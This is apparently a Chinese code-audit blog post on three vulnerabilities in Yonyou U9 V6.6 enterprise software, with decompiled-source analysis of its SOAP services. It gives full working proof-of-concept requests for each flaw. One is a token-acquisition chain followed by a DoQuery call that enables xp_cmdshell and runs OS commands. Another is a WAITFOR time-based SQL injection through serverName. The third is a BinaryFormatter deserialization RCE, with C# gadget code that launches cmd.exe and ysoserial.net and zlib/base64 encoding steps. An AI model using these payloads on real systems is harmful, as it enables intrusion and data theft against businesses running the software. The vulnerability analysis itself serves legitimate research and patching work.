文章总结: 本文分析用友U9V6.6的三个高危漏洞。TransWebService.asmx接口存在SQL注入与命令执行风险,可开启xp_cmdshell。OfficeReportCommonService.asmx因不安全的BinaryFormatter导致反序列化RCE。文章提供详细代码审计与POC,建议尽快修复。
综合评分: 89
文章分类: 代码审计,漏洞分析,漏洞POC,WEB安全,应用安全
[跟着静师傅学代码审计-全网首发]用友U9 V6.6企业版多组织企业互联网应用平台命令执行+SQL+反序列化
原创
静师傅
静师傅
安静安全
2026年1月15日 16:35
广东
点击上方「蓝字」,关注我们
“静师傅YYDS的排版”
01
命令执行漏洞
U9 V6.6
首先先贴出POC
POC1数据包用于获取Code值:
POST /u9/CS/Office/TransWebService.asmx HTTP/1.1Host: IP:PORTContent-Type: text/xml; charset=utf-8Content-Length: 119SOAPAction: "http://tempuri.org/GetEnterprise"
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetEnterprise xmlns="http://tempuri.org/" /> </soap:Body></soap:Envelope>
通过POC1数据包获取的Code值,POC2数据包获取Token
POST /u9/CS/Office/TransWebService.asmx HTTP/1.1Host: IP:PORTContent-Type: text/xml; charset=utf-8Content-Length: 119SOAPAction: "http://tempuri.org/GetToken"
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetToken xmlns="http://tempuri.org/"> <endId>POC1数据包获取到的Code值</endId> </GetToken> </soap:Body></soap:Envelope>
Burp发包获取Code值
我们来分析下源码
TransWebService.asmx对应DLL文件为:UFIDA.U9.InvTrans.TransQuery.dll
分析对应的GetEnterprise方法
这段代码的意思是通过调用enterpriseInfo.GetAllEnterprise()获取所有企业的信息,然后遍历这些企业,将每个企业的Code、Name和Description提取出来,构造新的Enterprise对象,并添加到列表中。
跟进GetAllEnterprise查看
通过循环遍历的方式,获取了所有企业的详细信息以XML格式,然后解析XML,提取每个企业的Code字段返回响应信息。
之后Burp发送POC2数据包
分析对应GetToken
这里代码的主要逻辑是对获取endId的值生成对应的Token有效令牌
通过以上两个POC数据包获得到Token后,最后命令执行数据包如下:
POST /u9/CS/Office/TransWebService.asmx HTTP/1.1Host: IP:PORTContent-Type: text/xml; charset=utf-8Content-Length: 119SOAPAction: "http://tempuri.org/DoQuery"
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap=" http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <DoQuery xmlns="http://tempuri.org/"> <token> POC2数据包获得的Token值 </token> <command> EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'ipconfig' </command> </DoQuery> </soap:Body> </soap:Envelope>
通过开启xp_cmdshell成功完成命令执行。
分析对应的DoQuery方法
在DoQuery方法中,它接收token和command两个参数,然后调用DoInneDataSet执行SQL命令,并将结果转换为一个字典列表返回
跟进DoInneDataSet如下:
形成漏洞的成因是因为最终是通过PrepareCommand函数完成SQL语句执行。
02
SQL注入漏洞
先贴出POC数据包如下(省略POC1和POC2):
POST /u9/CS/Office/TransWebService.asmx HTTP/1.1Host: IP:PORTContent-Type: text/xml; charset=utf-8Content-Length: 119SOAPAction: "http://tempuri.org/DoServerQuery"
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <DoServerQuery xmlns="http://tempuri.org/"> <token>POC2数据包获得的Token</token> <serverName>test');WAITFOR DELAY '0:0:5'--</serverName> <parameters>{"test":"test"}</parameters> </DoServerQuery> </soap:Body></soap:Envelope>
成功时间盲注延迟
分析对应的DoServerQuery方法
可以看到漏洞成因是因为直接拼接了serverName参数到select语句中,
因此形成SQL注入漏洞,跟进DoInneDataSet方法查看。
最终也是PrepareCommand函数完成SQL语句执行。
03
反序列化漏洞
先贴出漏洞POC数据包:
POST /u9/CS/Office/OfficeReportCommonService.asmx HTTP/1.1Host: IP:PORTContent-Type: text/xml; charset=utf-8Content-Length: 119SOAPAction: "http://tempuri.org/ReleaseReport"
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ReleaseReport xmlns="http://tempuri.org/"> <context>text</context> <excelReportSolution>zlib压缩+base64的反序列化payload</excelReportSolution> </ReleaseReport> </soap:Body></soap:Envelope>
OfficeReportCommonService.asmx对应DLL为:UFSoft.UBF.Report.WebService.dll
分析ReleaseReport方法
以上代码中出现反序列化漏洞的问题在于:
ExcelReport excelReport = ExcelReport.FromBytes(excelReportSolution)
跟进ExcelReport查看
序列化类的对象为ExcelReport,之后都是他的一些属性成员,这里不重点看
回到上一步,跟进FromBytes查看
可以看到,造成反序列化漏洞是由于使用了不安全的BinaryFormatter进行反序列化,而没有进行任何安全控制,导致反序列化漏洞。
接下来构造恶意的ExcelReport对象,属性成员啥的就不要了
poc.cs如下:
using System;using System.Diagnostics;using UFSoft.UBF.Report.Office.Common;[Serializable]public class ExploitExcelReport : ExcelReport{ public ExploitExcelReport() { ExecuteCommand("ping DNSLog链接"); } private void ExecuteCommand(string command) { try { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c " + command; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; process.Start(); } catch { } }}
之后结合ysoserial.net生成反序列化payload
ysoserial.exe -g ActivitySurrogateSelectorFromFile -f BinaryFormatter -c "poc.cs;System.dll;UFSoft.UBF.Report.Office.Common.dll" -o raw > payload.bin
相应需要的DLL文件在反编译后头部的位置查看需要的DLL
查阅WSDL接受的是base64,并且根据Net的特性需要zlib压缩处理再进行base64
python脚本先zlib压缩再base64编码,最终才是我们的payload
level=9 (压缩级别)
level=9 表示最高压缩级别,这与 .NET 的 DeflateStream 默认行为匹配:
wbits=-15 (窗口位参数)
.NET DeflateStream 使用的是原始 DEFLATE 格式 (wbits=-15),没有 zlib 头部和校验和。
成功反序列化执行ping命令
往期文章推荐
[跟着静师傅学代码审计]九垠赢商业管理系统0day-文件上传和任意文件下载
公众号:安静安全
扫码关注 了解更多
点个「在看」,你最好看
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安静安全 静师傅
静师傅《[跟着静师傅学代码审计-全网首发]用友U9 V6.6企业版多组织企业互联网应用平台命令执行+SQL+反序列化》